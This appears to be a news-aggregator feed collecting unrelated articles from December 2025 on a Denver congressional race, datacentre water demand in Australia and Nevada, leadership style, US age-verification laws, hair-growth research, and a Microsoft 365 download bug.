btw i’ll soon be giving talks at 39c3 and disobey 2026 ! the 39c3 one is titled “ css clicker training ” and will be about css crimes and making games in css. and the disobey one is the same talk as the bsides one about using css to hack stuff and get bug bounties, but i’ll make sure to throw some extra content in there to keep it fun.

see y’all around!!

<3

Discuss this post on: twitter , mastodon , lobsters

She Lost Her Job for Speaking Out About Gaza. Can It Power Her to Congress?

Intercept
theintercept.com
2025-12-04 14:02:58
Justice Democrats endorsed Melat Kiros in Denver as the progressive group looks to recover from crushing losses to AIPAC-backed candidates last cycle. The post She Lost Her Job for Speaking Out About Gaza. Can It Power Her to Congress? appeared first on The Intercept....
Original Article

Attorney Melat Kiros lost her job in 2023 after she wrote a post on Medium criticizing law firms, including her own, for opposing pro-Palestine protests and “chilling future lawyers’ employment prospects for criticism of the Israeli government’s actions and its legitimacy.” Now, she’s running for Congress to replace a nearly three-decade incumbent in Denver and calling to end U.S. military aid to Israel.

The progressive outfit Justice Democrats announced Thursday it was endorsing Kiros, who first launched her campaign in July . She’s the sixth candidate the group is backing in the upcoming midterm primaries, as Justice Democrats recharts its course after pro-Israel groups last cycle helped oust two of its star recruits, Reps. Jamaal Bowman , D-N.Y., and Cori Bush , D-Mo.

In an interview with The Intercept, Kiros, who is 28, said watching Bowman and Bush lose their races and President Donald Trump take back the White House fueled despair among people her age. “But ultimately there are things that we can do, common-sense policies that we can pass — like Medicare for All, housing first, universal child care — that we just need people in Congress that actually represent us and not their wealthy donors to fight for,” she said.

“They wish they could speak up too, but … they couldn’t afford to lose their health insurance.”

Kiros has also been motivated by what she described as a “coercive market” that has chilled speech against genocide in Gaza. She decided to write the post that ultimately led to her firing after her experience protesting another genocide in her hometown of Tigray, Ethiopia. After she lost her job, she took on policy work in a Ph.D. program, which eventually motivated her to run for Congress.

“I got messages from hundreds of attorneys afterwards saying that they wish they could speak up too, but that they couldn’t afford to lose their job, that they couldn’t afford to lose their health insurance,” Kiros said. She doesn’t think there’s true freedom of expression exists “when you can’t speak out on basic human rights without it risking your job.”

In Congress, Kiros hopes to take on the issue of big money in politics — not just how it shapes policy, but how it has chilled speech on matters of human rights.

In her campaign against Rep. Diana DeGette, who was elected the year before she was born, Kiros is arguing the incumbent has grown more disconnected from her constituents over her 28 years in Congress — and embodies the Democratic Party’s failures to deliver in the face of a right-wing assault on civil liberties and the corporate and elite capture of bipartisan politics.

“DeGette is a symptom of a political system that rewards complacency, not courage,” Justice Democrats wrote in its endorsement of Kiros. The group has focused its 2026 strategy on challenging incumbents it says are beholden to corporate donors and trying to build a bench in Congress to fight authoritarianism, corporate super PACs, and billionaire-funded lobbying groups like the American Israel Public Affairs Committee.

DeGette did not respond to requests for comment before publication.

DeGette’s campaign, meanwhile, is highlighting what she describes as her experience fighting to protect the environment and expand access to health care. As a longtime incumbent, she has a clear fundraising advantage: DeGette has raised just under half a million dollars this year, more than three times the $125,000 Kiros has raised so far.

Kiros said most of her campaign funds have come from more than 2,300 individual donors, most of them small-dollar, with an average donation of $47, though the campaign’s latest FEC filings only reflect about 300 individual donors. ( FEC records do not always include contributions from donors who have given under $200.)

In addition to Kiros, five other Democratic candidates are currently slated to challenge DeGette, including veteran Wanda James , a member of the University of Colorado Board of Regents.

Speaking to The Intercept, Kiros criticized DeGette for taking more than $5 million throughout her career from corporate PACs. Justice Democrats has also denounced her for taking money from lobbies for the pharmaceutical, fossil fuel, and defense industries. According to OpenSecrets, DeGette’s top career contributor is the law and lobbying firm Brownstein Hyatt Farber Schreck, founded and chaired by attorney and former AIPAC Vice President and board member Norman Brownstein .

After taking crushing losses in two high-profile races in which AIPAC spent heavily last cycle, Justice Democrats has endorsed five other candidates so far this cycle, challenging incumbents in five states. That includes Bush in her comeback run for her old seat in Missouri’s 1st Congressional District, state Rep. Justin Pearson in Tennessee’s 9th District, Darializa Avila Chevalier in New York’s 13th District, Angela Gonzales Torres in California’s 34th District, and state Rep. Donavan McKinney in Michigan’s 13th District. The group is “on track” to endorse at least 10 new candidates by January, according to its spokesperson, Usamah Andrabi.

The strategy is a shift from 2024, when Justice Democrats only endorsed its incumbents after making its name backing new insurgent candidates.

“We started this cycle with clear eyes about our intentions to fight back and win against AIPAC, crypto, and every other corporate lobby by challenging as many entrenched corporate incumbents and electing real, working-class champions to lead this party forward,” Andrabi said.

Growing disapproval of both the Democratic Party and Trump has proven how much Democratic voters want to use the primary system to change a party they see as bought by billionaires, Andrabi said.

“The momentum of the Democratic Party’s base is on our side and lobbies like AIPAC are losing sway over voters as their spending, influence, and right-wing network is exposed,” he said. “We’re not holding back this cycle and the establishment feels it.”

Fueling that disillusionment is the United States’ role in Israel’s genocide in Gaza, which Kiros has made a focus of her campaign. She’s calling for an end to U.S. military aid to Israel and an Israeli arms embargo , and has called DeGette out of step with the district for not signing onto a bill pushing for the latter.

DeGette has a mixed record on Israel. She has described herself as a longtime supporter of Israel, taken some money from pro-Israel groups throughout her career, and met with members of AIPAC in her district.

In the weeks after the October 7, 2023 attacks, DeGette voted with 193 other Democrats against a Republican bill — which former President Joe Biden had threatened to veto — to provide aid to Israel, saying it ignored humanitarian needs in Gaza. She voted with the bulk of her party for other pro-Israel bills after October 7, including a hawkish bill affirming Israel’s right to self-defense with no mention of Palestinian civilians . DeGette did not co-sponsor an alternative resolution introduced by then-Rep. Bush and Rep. Rashida Tlaib, D-Mich., which called for an immediate ceasefire and humanitarian aid to Gaza. This year, DeGette co-sponsored bills to prevent violence in the West Bank and restore funding to the United Nations Relief and Works Agency for Palestine Refugees.

”It’s not enough that you vote the right way,” said Kiros. “This idea that any Democrat will do — it’s not enough anymore.”

Thirsty work: how the rise of massive datacentres strains Australia’s drinking water supply

Guardian
www.theguardian.com
2025-12-04 14:00:24
The demand for use in cooling in Sydney alone is expected to exceed the volume of Canberra’s total drinking water within the next decadeSign up for climate and environment editor Adam Morton’s free Clear Air newsletter hereAs Australia rides the AI boom with dozens of new investments in datacentres ...
Original Article

A s Australia rides the AI boom with dozens of new investments in datacentres in Sydney and Melbourne, experts are warning about the impact these massive projects will have on already strained water resources.

Water demand to service datacentres in Sydney alone is forecast to be larger than the volume of Canberra’s total drinking water within the next decade.

In Melbourne the Victorian government has announced a “$5.5m investment to become Australia’s datacentre capital”, but the hyperscale datacentre applications on hand already exceed the water demands of nearly all of the state’s top 30 business customers combined.

Technology companies, including Open AI and Atlassian, are pushing for Australia to become a hub for data processing and storage. But with 260 datacentres operating and dozens more in the offing, experts are flagging concerns about the impact on the supply of drinking water.

Sydney Water has estimated up to 250 megalitres a day would be needed to service the industry by 2035 (a larger volume than Canberra’s total drinking water ).

Cooling requires ‘huge amount of water’

Prof Priya Rajagopalan, director of the Post Carbon Research Centre at RMIT, says water and electricity demands of datacentres depend on the cooling technology used.

“If you’re just using evaporative cooling, there is a lot of water loss from the evaporation, but if you are using sealers, there is no water loss but it requires a huge amount of water to cool,” she says.

While older datacentres tend to rely on air cooling, demand for more computing power means higher server rack density so the output is warmer, meaning centres have turned to water for cooling .

The amount of water used in a datacentre can vary greatly. Some centres, such as NextDC, are moving towards liquid-to-chip cooling, which cools the processor or GPU directly instead of using air or water to cool the whole room.

NextDC says it has completed an initial smaller deployment of the cooling technology but it has the capacity to scale up for ultra-high-density environments to allow for greater processing power without an associated rise in power consumption because liquid cooling is more efficient. The company says its modelling suggests power usage effectiveness (PUE, a measure of energy efficiency) could go as low as 1.15.

Sign up to get climate and environment editor Adam Morton’s Clear Air column as a free newsletter

The datacentre industry accounts for its sustainability with two metrics: water usage effectiveness (WUE) and power usage effectiveness (PUE). These measure the amount of water or power used relative to computing work.

WUE is measured by annual water use divided by annual IT energy use (kWh). For example, a 100MW datacentre using 3ML a day would have a WUE of 1.25. The closer the number is to 1, the more efficient it is. Several countries mandate minimum standards. Malaysia has recommended a WUE of 1.8, for example.

But even efficient facilities can still use large quantities of water and energy, at scale.

NextDC’s PUE in the last financial year was 1.44, up from 1.42 the previous year, which the company says “reflects the dynamic nature of customer activity across our fleet and the scaling up of new facilities”.

Calls for ban on use of drinking water

Sydney Water says its estimates of datacentre water use are being reviewed regularly. The utility is exploring climate-resilient and alternative water sources such as recycled water and stormwater harvesting to prepare for future demand.

“All proposed datacentre connections are individually assessed to confirm there is sufficient local network capacity and operators may be required to fund upgrades if additional servicing is needed,” a Sydney Water spokesperson says.

In its submission to the Victorian pricing review for 2026 to 2031, Melbourne Water noted that hyperscale datacentre operators that have put in applications for connections have “projected instantaneous or annual demands exceeding nearly all top 30 non-residential customers in Melbourne”.

“We have not accounted for this in our demand forecasts or expenditure planning,” Melbourne Water said.

It has sought upfront capital contributions from the companies so the financial burden of works required “does not fall on the broader customer base”.

Greater Western Water in Victoria had 19 datacentre applications on hand, according to documents obtained by the ABC , and provided to the Guardian.

skip past newsletter promotion

The Concerned Waterways Alliance, a network of Victorian community and environment groups, has flagged its concerns about the diversion of large volumes of drinking water to cool servers, when many of the state’s water resources are already stretched.

Cameron Steele, a spokesperson for the alliance, says datacentre growth could increase Melbourne’s reliance on desalinated water and reduce water available for environmental flows, with the associated costs borne by the community. The groups have called for a ban on the use of drinking water for cooling, and mandatory public reporting of water use for all centres.

“We would strongly advocate for the use of recycled water for datacentres rather than potable drinking water.”

Closed-loop cooling

In hotter climates, such as large parts of Australia during the summer months, centres require more energy or water to keep cool.

Danielle Francis, manager of customer and policy at the Water Services Association of Australia, says there isn’t a one-size-fits-all approach for how much energy and water datacentres use because it will depend on the local constraints such as land, noise restrictions and availability of water.

“We’re always balancing all the different customers, and that’s the need for residential areas and also non-residential customers, as well as of course environmental needs,” Francis says.

“It is true that there are quite a lot of datacentre applications. And the cumulative impact is what we have to plan for … We have to obviously look at what the community impact of that is going to be.

“And sometimes they do like to cluster near each other and be in a similar location.”

One centre under construction in Sydney’s Marsden Park is a 504MW datacentre spanning 20 hectares, with six four-storey buildings. The CDC centre will become the largest data campus in the southern hemisphere, the company has boasted.

In the last financial year, CDC used 95.8% renewable electricity in its operational datacentres, and the company boasts a PUE of 1.38 and a WUE of 0.01. A spokesperson for the company says it has been able to achieve this through a closed-loop cooling system that eliminates ongoing water draw, rather than relying on the traditional evaporative cooling systems.

“The closed-loop systems at CDC are filled once at the beginning of their life and operate without ongoing water draw, evaporation or waste, ensuring we are preserving water while still maintaining thermal performance,” a spokesperson says.

“It’s a model designed for Australia, a country shaped by drought and water stress, and built for long-term sustainability and sets an industry standard.”

Planning documents for the centre reveal that, despite CDC’s efforts, there remains some community concern over the project.

In a June letter, the acting chief executive of the western health district of New South Wales , Peter Rophail, said the development was too close to vulnerable communities, and the unprecedented scale of the development was untested and represented an unsuitable risk to western Sydney communities.

“The proposal does not provide any assurance that the operation can sufficiently adjust or mitigate environmental exposures during extreme heat weather events so as not to pose an unreasonable risk to human health,” Rophail said.

Transparent Leadership Beats Servant Leadership

Hacker News
entropicthoughts.com
2025-12-04 13:40:00
Comments...
Original Article

tl:dr : Parenting and leadership is similar. Teach a man to fish, etc.


I spent a couple of years managing a team, and I entered that role – like many – without knowing anything about how to do it. I tried to figure out how to be a good manager, and doing so I ended up reading a lot about servant leadership . It never quite sat right with me, though. Servant leadership seems to me a lot like curling parenting: the leader/parent anticipate problems and sweep the way for their direct reports/children.

To be clear, this probably feels very good (initially, anyway) for the direct reports/children. But the servant leader/curling parent quickly becomes an overworked single point of failure, and once they leave there is nobody else who knows how to handle the obstacles the leader moved out of the way for everyone. In the worst cases, they leave behind a group of people who have been completely isolated from the rest of the organisation, and has no idea what their purpose is and how to fit in with the rest of the world.

I would like to invent my own buzzword: transparent leadership . In my book, a good leader

  • coaches people,
  • connects people,
  • teaches people methodical problem solving,
  • explains values and principles embraced by the organisation to aid them in making aligned decisions on their own,
  • creates direct links between supply and demand (instead of deliberately making themselves a middle man),
  • allows their direct reports career growth by gradually taking over leadership responsibilities,
  • continuously trains their replacement, and
  • generally makes themselves redundant.

The middle manager that doesn’t perform any useful work is a fun stereotype, but I also think it’s a good target to aim for. The difference lies in what to do once one has rendered oneself redundant. A common response is to invent new work, ask for status reports, and add bureaucracy.

A better response is to go back to working on technical problems. This keeps the manager’s skills fresh and gets them more respect from their reports. The manager should turn into a high-powered spare worker, rather than a paper-shuffler.

The Age-Gated Internet Is Sweeping the US. Activists Are Fighting Back

Hacker News
www.wired.com
2025-12-04 13:34:27
Comments...
Original Article

Members of Congress considered 19 online safety bills Tuesday that may soon have a major impact on the future of the internet as age-verification laws have spread to half of the US and around the world .

In response, digital and human rights organization Fight for the Future is hosting a week of events —across Reddit , LinkedIn, and various livestreams —to raise awareness of how it believes these bills are setting a dangerous precedent by making the internet more exploitative rather than safer. Many of the proposed bills include a clause for ID or age verification, which forces people to upload an ID, allow a face scan, or otherwise authenticate that they are not a minor before viewing adult content. Fight for the Future says the policies will lead to increased censorship and surveillance.

Among the 19 bills considered at the hearing conducted by the House Energy and Commerce Committee was the Kids Online Safety Act (KOSA), which passed with sweeping bipartisan approval in the Senate last year, and the Reducing Exploitative Social Media Exposure for Teens Act , which would ban tech companies from allowing minors under the age of 16 on their platforms. In addition to age verification, the bills raised concerns over issues of parental controls, consumer research of minors, AI, and data privacy.

“We’re seeing this huge wave toward ID checks being the norm in tech policy, and it felt like we needed to capture the already activated communities who are not feeling heard in Congress,” says Sarah Philips, a campaigner with Fight for the Future. “If you look on YouTube, if you see people making content about KOSA or responding to a lot of this legislation, it’s very unpopular with people. But it’s viewed on the Hill as very common-sense.”

Missouri’s age-gate law took effect earlier this week, meaning 25 US states have passed a form of age verification. The process usually involves third-party services, which can be especially prone to data breaches. This year, the UK also passed a mandate for age verification—the Online Safety Act—and Australia’s teen social media ban, which requires social media companies to deactivate the accounts of users under the age of 16, goes into effect on December 10. Instagram, YouTube, Snap, and TikTok are complying with the historic ban.

Philips believes the laws are a direct threat to democratic freedom. “These are censorship laws,” she says. “In the South, where I live, these same proposals mimic a lot of the arguments that you see behind book bans and behind laws that criminalize gender-affirming health care or abortion information.”

In March, over 90 human rights advocacy groups signed a coalition letter opposing online ID-check mandates. “The internet is not improved by treating its users like criminal suspects and our lives as opportunities for corporate profit,” David Swanson, campaign coordinator at RootsAction.org, wrote in the letter. “Legislators defunding education to invest in wars, police, prisons, borders, and constant surveillance should think hard before claiming to be acting on behalf of children.”

Though Tuesday’s hearing did not advance any legislation, it included testimonies from Joel Thayer, president of the Digital Progress Institute, and Kate Ruane, director of the Free Expression Project at the Center for Democracy and Technology. “The government and social media platforms should not be—indeed, with respect to the government, cannot be—the sole arbiters of the content children can see and services that they can access online,” Ruane said during her testimony.

Image may contain Advertisement Poster and Text

Fight for the Future’s resistance campaign against online age verification.

Courtesy of Fight for the Future

The package of bills is indicative of how Congress has failed to deliver real solutions, Philips says. “We have repeatedly asked them to focus on comprehensive privacy legislation, on antitrust issues, and on things that actually protect us from the surveillance capitalist business model of big tech companies. Congress says they’re holding big tech accountable, but most of the options on the table just mandate verification.” According to The Verge , a revamped version of KOSA removes tech companies’ liability in mitigating potential harms caused by their platforms.

In an op-ed for Teen Vogue published in October, Fight for the Future director Evan Greer and campaigner Janus Rose criticized Democratic lawmakers who support KOSA, including the bill’s cowriter, Senator Richard Blumenthal of Connecticut. “KOSA takes the same logic of the bans on drag shows and LGBTQ+ books and applies it to the internet, allowing censorship of a broad range of information in the name of protecting kids from real online harm,” Greer noted.

But since KOSA and the Children and Teens’ Online Privacy Protection Act failed to gain approval last year, “it’ll be interesting to see what actually floats to the top right now,” Philips says, concerned that some of the bills could be attached to the National Defense Authorization Act or have the Trump administration’s 10-year moratorium on state AI regulations attached to them, “which is a disaster tornado of tech policies.”

Philips tells me she isn’t disheartened by the work, because she wants people to understand what’s really at stake in the fight ahead.

“The thing that people misunderstand most about age verification is that it actually applies to all of us,” she says. “A lot of the people pushing for age verification solely focus on kids, because that’s the discussion happening in Congress or on the Hill. But in actuality, if we age-gate the internet and implement mandates, that means that you have to prove that you’re not a child—whether you’re 18 or 50. Everyone will have to interact with this.”

Human hair grows through 'pulling' not pushing, study shows

Hacker News
phys.org
2025-12-04 13:22:35
Comments...
Original Article
Human hair grows through 'pulling' not pushing
The hair follicle organization and the multiphoton setup for live-imaging of human hair follicles. Credit: Nature Communications (2025). DOI: 10.1038/s41467-025-65143-x

Scientists have found that human hair growth does not grow by being pushed out of the root; it's actually pulled upward by a force associated with a hidden network of moving cells. The findings challenge decades of textbook biology and could reshape how researchers think about hair loss and regeneration.

The team, from L'Oréal Research & Innovation and Queen Mary University of London, used advanced 3D live imaging to track individual cells within living human hair follicles kept alive in culture. The study, published in Nature Communications , shows that cells in the outer root sheath—a layer encasing the hair shaft—move in a spiral downward path within the same region from where the upward pulling force originates.

Dr. Inês Sequeira, Reader in Oral and Skin Biology at Queen Mary and one of the lead authors, said, "Our results reveal a fascinating choreography inside the hair follicle. For decades, it was assumed that hair was pushed out by the dividing cells in the hair bulb. We found that instead that it's actively being pulled upwards by surrounding tissue acting almost like a tiny motor."

To test this, the researchers blocked cell division inside the follicle, expecting hair growth to stop. Instead, growth continued nearly unchanged. But when they interfere with actin—a protein that enables cells to contract and move—the hair growth rate dropped by more than 80%.

Computer models confirmed that this pulling force, correlated with coordinated motion in the follicle's outer layers, was essential to match the observed speeds of hair movement.

Dr. Nicolas Tissot, the first author, from L'Oréal's Advanced Research team said, "We use a novel imaging method allowing 3D time lapse microscopy in real-time. While static images provide mere isolated snapshots, 3D time-lapse microscopy is indispensable for truly unraveling the intricate, dynamic biological processes within the hair follicle, revealing crucial cellular kinetics, migratory patterns, and rate of cell divisions that are otherwise impossible to deduce from discrete observations. This approach made it possible to model the forces generated locally."

Dr. Thomas Bornschlögl, another lead author, from the same L'Oréal team adds, "This reveals that hair growth is not driven only by cell division—instead, the outer root sheath actively pulls the hair upward. This new view of follicle mechanics opens fresh opportunities for studying hair disorders, testing drugs and advancing tissue engineering and regenerative medicine."

While the research was carried out on human follicles in lab culture, it offers new clues from hair science and regenerative medicine. The team believes that understanding these mechanical forces could help design treatments that target the follicle's physical as well as biochemical environment. Furthermore, the imaging technique developed will allow live testing of different drugs and treatments.

The study also highlights the growing role of biophysics in biology, showing how mechanical forces at microscopic scale shape the organs we see every day.

More information: Nicolas Tissot et al, Mapping cell dynamics in human ex vivo hair follicles suggests pulling mechanism of hair growth, Nature Communications (2025). DOI: 10.1038/s41467-025-65143-x

Citation : Human hair grows through 'pulling' not pushing, study shows (2025, December 4) retrieved 4 December 2025 from https://phys.org/news/2025-12-human-hair.html

This document is subject to copyright. Apart from any fair dealing for the purpose of private study or research, no part may be reproduced without the written permission. The content is provided for information purposes only.

RAM is so expensive, Samsung won't even sell it to Samsung

Hacker News
www.pcworld.com
2025-12-04 13:20:07
Comments...
Original Article

Michael is a 10-year veteran of technology journalism, covering everything from Apple to ZTE. On PCWorld he's the resident keyboard nut, always using a new one for a review and building a new mechanical board or expanding his desktop "battlestation" in his off hours. Michael's previous bylines include Android Police, Digital Trends, Wired, Lifehacker, and How-To Geek, and he's covered events like CES and Mobile World Congress live. Michael lives in Pennsylvania where he's always looking forward to his next kayaking trip.

Microsoft 365 license check bug blocks desktop app downloads

Bleeping Computer
www.bleepingcomputer.com
2025-12-04 13:18:08
​Microsoft is investigating and working to resolve a known issue that prevents customers from downloading Microsoft 365 desktop apps from the Microsoft 365 homepage. [...]...
Original Article

Microsoft 365

​Microsoft is investigating and working to resolve a known issue that prevents customers from downloading Microsoft 365 desktop apps from the Microsoft 365 homepage.

As detailed in a Wednesday incident report ( OP1192004 ) seen by BleepingComputer, this bug has been impacting users since November 2nd, causing Office Client issues for affected customers.

Microsoft has already developed and is now testing a fix to address the issue and added that it will provide an update on progress by 6:30 PM UTC later today.

While it noted that the bug may affect any user who attempts to download Microsoft 365 desktop apps, it has not yet provided more details on the extent of the problem.

However, when it acknowledged the issue this morning, Microsoft tagged it as an incident, a designation used for critical service issues that usually involve noticeable user impact.

"Our analysis of the components of Microsoft 365 infrastructure, as well as recently deployed changes, identified that a recent service update containing a code issue is impacting the license check process, leading to users being unable to download Microsoft 365 desktop apps from the homepage," Microsoft said.

"We're continuing to validate and test the aforementioned fix in our internal environment to ensure its efficacy prior to deploying it to the affected infrastructure and we expect to provide an estimated deployment time line by our next scheduled update."

Microsoft is also working to resolve a known issue that blocks some users from opening Excel email attachments in the new Outlook client due to an encoding error in Excel file names.

One year ago, Microsoft addressed another known issue triggered by licensing changes that caused random "Product Deactivated" errors for customers using Microsoft 365 Office apps, while last month, it resolved a bug caused by misconfigured authentication components that prevented customers from installing the Microsoft 365 desktop apps on Windows devices.

tines

Break down IAM silos like Bitpanda, KnowBe4, and PathAI

Broken IAM isn't just an IT problem - the impact ripples across your whole business.

This practical guide covers why traditional IAM practices fail to keep up with modern demands, examples of what "good" IAM looks like, and a simple checklist for building a scalable strategy.

The AI boom is heralding a new gold rush in the American west

Guardian
www.theguardian.com
2025-12-04 12:00:19
Once home to gold and prospectors, the Nevada desert is now the site of a new kind of expansion: tech data centers Driving down the interstate through the dry Nevada desert, there are few signs that a vast expanse of new construction is hiding behind the sagebrush-covered hills. But, just beyond a ...
Original Article

D riving down the interstate through the dry Nevada desert, there are few signs that a vast expanse of new construction is hiding behind the sagebrush-covered hills. But, just beyond a massive power plant and transmission towers that march up into the dusty brown mountains, lies one of the world’s biggest buildouts of data centers – miles of new concrete buildings that house millions of computer servers.

This business park, called the Tahoe-Reno Industrial Center, has a sprawling landmass greater than the city of Denver. It is home to the largest data center in the US, built by the company Switch, and tech giants like Google and Microsoft have also bought land here and are constructing enormous facilities. A separate Apple data center complex is just down the road. Tesla’s gigafactory, which builds electric vehicle batteries, is a resident too.

In the mid-1800s, this area was an Old West boomtown. It’s situated in Storey county where one of the largest deposits of gold and silver in the American west was discovered, lending it the name: “The Richest Place on Earth”. It’s where Mark Twain came to be a miner, then got his start as a writer for the local newspaper. He later wrote about it in his book Roughing It, saying: “The ‘flush times’ were in magnificent flower … money was as plenty as dust.”

The gold rush is long history, but Storey county is once again one of the fastest growing economies in Nevada. A new boom is happening here in the high desert – fueled by artificial intelligence.

The burgeoning tech, which Silicon Valley vows will be the next frontier for humanity, is minting unfathomable trillion-dollar valuations . It’s a product that’s still being tested, and there’s uncertainty as to how exactly it will transform the economy. But that hasn’t stopped its real-world infrastructure from being built at mass capacity and record speed – a frenzy buoyed by hundreds of billions in venture capital funding .

Desert vegetation with water from the Tahoe‑Reno Industrial Center’s reservoir in the background.
Desert vegetation with water from the Tahoe‑Reno Industrial Center’s reservoir in the background.

Microsoft, working with OpenAI, announced last month that it plans to double its data-center footprint over the next two years. Amazon, partnering with Anthropic, just opened a major cluster with plans for more. Google, Meta and Oracle are preparing vast buildouts, as is a consortium of companies working with the Trump administration on a $500bn project called Stargate. In all, estimates by consulting firm McKinsey and Company peg global spending on AI data centers to total nearly $7tn by 2030 – nearly twice as much as the GDP of the UK.

The buildup comes at a cost. As the planet’s most powerful companies race to fulfill their dreams of artificial general intelligence – a futuristic version of AI that can perform tasks as well as humans – it means an ever-increasing need for computing power. AI requires far more energy and water than other internet tasks. A ChatGPT query needs nearly 10 times as much electricity as an internet search without AI. And because supercomputers run hot, they typically need intensive water-cooling systems. As data centers continue to multiply in communities around the world – from Frankfurt to Johannesburg – AI’s thirst for power and water shows no signs of letting up.

In a place such as Storey county, which is on the frontline of the climate crisis and has an average rainfall of roughly 11in a year, some locals fear the data centers’ demands could decimate already scarce resources.

That includes the Pyramid Lake Paiute, a Native American tribe, which has lived downriver from where the industrial center now sits, since long before Europeans arrived in the Americas.

Switch data center at the Tahoe‑Reno Industrial Center.
Switch data center at the Tahoe‑Reno Industrial Center.

“Everyone cannot keep moving to a space that has no resources. Nevada is completely over-allocated on its ground water resources. It’s the driest state in the union,” said Steven Wadsworth, the tribe’s chairman. “Our tribe’s number one goal is protecting our resources. And it makes it difficult when we have partners upstream who are blissfully unaware.”

‘Miracle in the desert’

On a chilly fall day in October, Kris Thompson hopped into his SUV to take a drive. He has a gravelly voice and fading grey hair and works for Gilman Commercial Real Estate Service, which has been the industrial center’s exclusive brokerage firm since its founding in 1998. As he turned onto USA Parkway, the 18-mile highway that cuts through the park, he pointed out the tall yellow cranes dotting the landscape and the constant stream of semi-trucks rumbling by. “You’re gonna see a lot of hard hats and heavy equipment,” he said.

“When I first came up here, there was nothing but desert dirt trails, coyotes, and rabbitbrush,” Thompson said. “Nothing else was here. No roads, no water wells, no businesses, no drainage, no sewer system, nothing.”

Now, the entire area looks like a city being built from the ground up.

“How do you take 160-sq-miles of desert, of high desert in the mountains, and turn that, 25 years later, into the hottest tech and data center development in the United States?” Thompson asked rhetorically. “They had some cowboys up there, and they were willing to think outside the box.”

Satellite map showing the scale of the Tahoe Reno Industrial Center

One of the cowboy masterminds is Lance Gilman, who also owns the Mustang Ranch brothel. He and his partners bought most of the property from the Gulf Oil company in the late 1990s, which had planned to use the expanse of land for a corporate hunting retreat.

Gilman and his western crew were property developers who struck it big on what Thompson said “has to be the greatest real estate deal ever made on the planet”. They paid $20m to buy a vast private ranch – covering more than 100,000 acres – and created the Tahoe-Reno Industrial Center. It has no residential properties and pre-approves most industrial and commercial uses. Essentially, it can fast track the local government permit process.

The center’s swift permitting hooked Tesla into setting up its first gigafactory there in 2014. The company bought 3,300 acres (13.4 sq km), which span an entire mountain, and immediately set to work building a 6m-sq-ft foundation (nearly 560,000 sq meters) for its battery facility. Tesla convinced the county to rename the road leading to its property, “Electric Avenue”.

A sweeping shot of a landscape with bushes, a lake and mountains.
Pyramid Lake, at the Pyramid Lake Paiute Reservation, is fed by the Truckee River and is located about 40 miles north-east of Reno.

“That put us up on the global stage,” Thompson said of the mega-manufacturing facility. “That speed is everything. In this economy, if it takes you two or three years to get a permit to start building, your product could be obsolete by that point.”

Switch, which builds and operates some of the world’s largest data centers and rents them to a variety of clients, came next, then Google, Microsoft and more. These companies purchased thousands of acres of land to build their data centers. Tract, which has a similar business model to Switch, purchased 11,000 total acres (44.5 sq km) and pledged to invest $100bn into its data center project.

A Gold Rush-esque boom and bust has already come for the industrial park once before. One of the biggest buyers in 2018, four years before the release of ChatGPT, was multimillionaire Jeffrey Berns, who threw down $170m in cash to acquire 67,000 acres (271 sq km) – roughly two-thirds of the park – through his company Blockchains. His goal was to transform the place into a cryptocurrency utopia, which he described to the Guardian as having a “blockchain based self-sovereign identity that eliminated the need for many politicians and governmental agencies”.

That plan didn’t pan out. So, Blockchains sold 2,200 acres (8.9 sq km) to Tract for $250m and plans to offer long-term leases on the remaining acreage. Berns said he’s now focusing on building a billion-dollar bunker in Switzerland.

Every square foot of Gilman’s land at the industrial center has been sold, according to Thompson. What’s available now are parcels that are being resold. Thompson said the fact that those cowboys were able to transform the dusty landscape into a “tech city” is nothing short of a “miracle in the desert”.

A water truck sprays near a construction site at the Tahoe‑Reno Industrial Center.
A water truck sprays near a construction site at the Tahoe‑Reno Industrial Center.

Driving through the tech city, it’s impossible to see the full extent of each company’s construction projects. Google’s complex is triple-fenced and only accessible by private roads. The same goes for other companies, some of which are buried behind desert mountains and towering walls. These businesses are notoriously secretive , citing the need to protect trade secrets, and their security patrols don’t take kindly to curious strangers.

On three separate occasions, private guards told the Guardian to move along when parked on what seemed to be public roads. In one instance, a guard drove up and walked over to the driver-side window. “What are you doing?” he asked curtly. As he peered through the window, he smiled broadly and tilted his head, showing that he was wearing Meta’s smart glasses with the red video recording light turned on.

‘We know what happens when we don’t fight for the water’

Pyramid Lake is the largest lake in Nevada. Situated at the base of several mountain ranges, the lake is owned by the Pyramid Lake Paiute Tribe and entirely surrounded by the tribe’s reservation. They have lived in the region for thousands of years. The Pyramid Lake Paiute’s petroglyphs date back 10,000 to 14,000 years BCE, the oldest in North America.

A man with long hair and wearing a white shirt poses with his face turned toward the sun.
Steven Wadsworth, chairman of the Pyramid Lake Paiute Tribe.

Wadsworth, the tribal chairman, recognizes the need for data centers, but worries if the ones upriver aren’t kept in check, they could intensify threats to the lake – which is the lifeblood for the tribe. The Truckee River supplies the industrial center with water and also serves as the primary source of water for Pyramid Lake.

“It’s not like we’re out here to be a pain,” Wadsworth said. “We know the destruction.”

In the tribe’s governmental office, Wadsworth, sporting waist-length hair and a white button-up tucked into slacks, walked over to a giant satellite map showing the region’s watershed – from California’s mountains to Nevada’s Great Basin. Next to the deep green of Pyramid Lake is a large, flat, white mass, the remnants of a second lake.

“We know what happens when we don’t fight for the water,” Wadsworth said, pointing to the white mass. “This lake used to be full.”

Lake Winnemucca was once fed by Pyramid Lake, but when the Truckee River was dammed in the early 1900s, Wadsworth said it took less than 30 years for Pyramid Lake to drop 80ft and Lake Winnemucca to dry.

The tribe has been fighting for decades now to protect Pyramid Lake and the native fish that inhabit it, including the endangered cui-ui and the threatened Lahontan cutthroat trout. Some of its efforts include purchasing thousands of acre-feet (one acre-foot is equivalent to 1,233 cubic meters) of water rights and bringing several lawsuits over the years. The tribe also lodged complaints with the local Truckee Meadows Water Authority to ensure any water the industrial park siphons from the river is replenished, according to the MIT Technology Review .

skip past newsletter promotion

AI data centers need copious amounts of water. Over the last 10 years, data center water use has tripled to more than 17bn gallons (64bn liters) of water per year in the US, according to a Department of Energy report . Much of that is attributed to the “rapid proliferation of AI servers” and is expected to multiply to nearly 80bn gallons (303bn liters) by 2028. While the figure pales against total US water use, 117tn gallons per year in 2015 , it still can mean a struggle to meet the demands of both human beings and hot computer chips.

An area near the dry lake bed of what was once Lake Winnemucca.
An area near the dry lake bed of what was once Lake Winnemucca, near Nixon, Nevada.

And as data centers continue to proliferate in water-stressed areas around the globe, which can offer cheap land and energy as well as low humidity for easier chip cooling, one of the central concerns in local communities is what happens if the water runs dry.

